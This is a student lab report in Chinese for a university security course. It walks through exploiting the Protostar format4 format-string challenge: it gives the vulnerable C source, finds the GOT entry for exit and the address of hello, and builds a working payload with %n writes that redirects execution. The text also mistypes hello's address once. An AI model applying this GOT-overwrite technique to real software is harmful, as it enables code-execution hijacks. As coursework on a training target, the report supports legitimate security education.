上海交通大学
SHANGHAI JIAO TONG UNIVERSITY

CS3312 Lab Format4

学号：522031910439　姓名：梁俊轩

2025 年 4 月 2 日

1 代码逻辑

对源码进行分析, 在 Protostar 官网可以看到 format4 的 C 语言源代码：

```c
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int target;

void hello()
{
  printf("code execution redirected! you win\n");
  _exit(1);
}

void vuln()
{
  char buffer[512];

  fgets(buffer, sizeof(buffer), stdin);

  printf(buffer);

  exit(1);
}

int main(int argc, char **argv)
{
  vuln();
}
```

2 漏洞分析

代码里我们要执行的是 hello 函数，但是 main 函数里并没有调用 hello，因此要做的就是篡改执行流，更改在 vuln 的最后 exit(1) 函数，跳转到 hello 函数，使得程序能够执行 hello 函数。

exit() 是动态链接库里的函数，那么首先现寻找 exit() 在 GOT 表中的位置：

```
root@protostar:/opt/protostar/bin# objdump -TR format4
```

```
format4:     file format elf32-i386

DYNAMIC SYMBOL TABLE:
00000000  w   D  *UND*00000000              __gmon_start__
00000000      DF *UND*00000000  GLIBC_2.0   fgets
00000000      DF *UND*00000000  GLIBC_2.0   __libc_start_main
00000000      DF *UND*00000000  GLIBC_2.0   _exit
00000000      DF *UND*00000000  GLIBC_2.0   printf
00000000      DF *UND*00000000  GLIBC_2.0   puts
00000000      DF *UND*00000000  GLIBC_2.0   exit
080485ec g    DO .rodata00000004  Base        _IO_stdin_used
08049730 g    DO .bss00000004  GLIBC_2.0   stdin


DYNAMIC RELOCATION RECORDS
OFFSET   TYPE              VALUE
080496fc R_386_GLOB_DAT    __gmon_start__
08049730 R_386_COPY        stdin
0804970c R_386_JUMP_SLOT   __gmon_start__
08049710 R_386_JUMP_SLOT   fgets
08049714 R_386_JUMP_SLOT   __libc_start_main
08049718 R_386_JUMP_SLOT   _exit
0804971c R_386_JUMP_SLOT   printf
08049720 R_386_JUMP_SLOT   puts
08049724 R_386_JUMP_SLOT   exit
```

可以看到是 exit 的入口地址是 0x08049724，接下来要查找 hello 的入口地址：

```
root@protostar:/opt/protostar/bin# gdb -q format4
Reading symbols from /opt/protostar/bin/format4...done.
(gdb) print hello
$1 = {void (void)} 0x80484b4 <hello>
```

hello 的入口地址是 0x80784b4。

利用 format3 中的方法，我们先构造一个字符串来算出偏移值：

```
root@protostar:/opt/protostar/bin# python -c 'print "DDDD"+ "%08x."*5 ' | ./format4
DDDD00000200.b7fd8420.bffffb24.44444444.78383025.
```

D 对应到 ASCII 表是 0x44，那么说明偏移了 3 个 DWORD。接下来需要做的就是往 exit 的跳转地址写入 hello 的跳转地址，需要注意的是 hello 的入口地址较大，我们可以采取分段写入的方式，hello 的入口地址为\xb4 \x84 \x04 \x08 ，我们可以单独将\xb4 作为一部分，\x0484 作为第二部分，第三部分必须要大于前两部分，取\x08 不符合条件，因此我们可以往后多填两个字节，第三部分可以为\x0508

第一部分要求的字节数为 180，除去填入地址的 12 字节，需要再占满 168 字节。

```
"\x24\x97\x04\x08"+
"\x25\x97\x04\x08"+ "
\x27\x97\x04\x08" +"%168x%4$n"
```

第二部分要求的字节数为 1156，除去前面的 180 字节，需要再占满 976 字节。

```
"%976x%5$n"
```

第三部分要求的字节数为 1288，除去前面的 1156 字节，还需要占满 132 字节。

```
"%132x%6$n"
```

那么就可以构建出一个完整的输入：

```
root@protostar:/opt/protostar/bin# python -c 'print "\x24\x97\x04\x08"+
"\x25\x97\x04\x08"+ "
\x27\x97\x04\x08" +"%168x%4$n"+"%976x%5$n"+"%132x%6$n"' | ./format4

code execution redirected! you win
```

可以看到成功执行 hello 函数。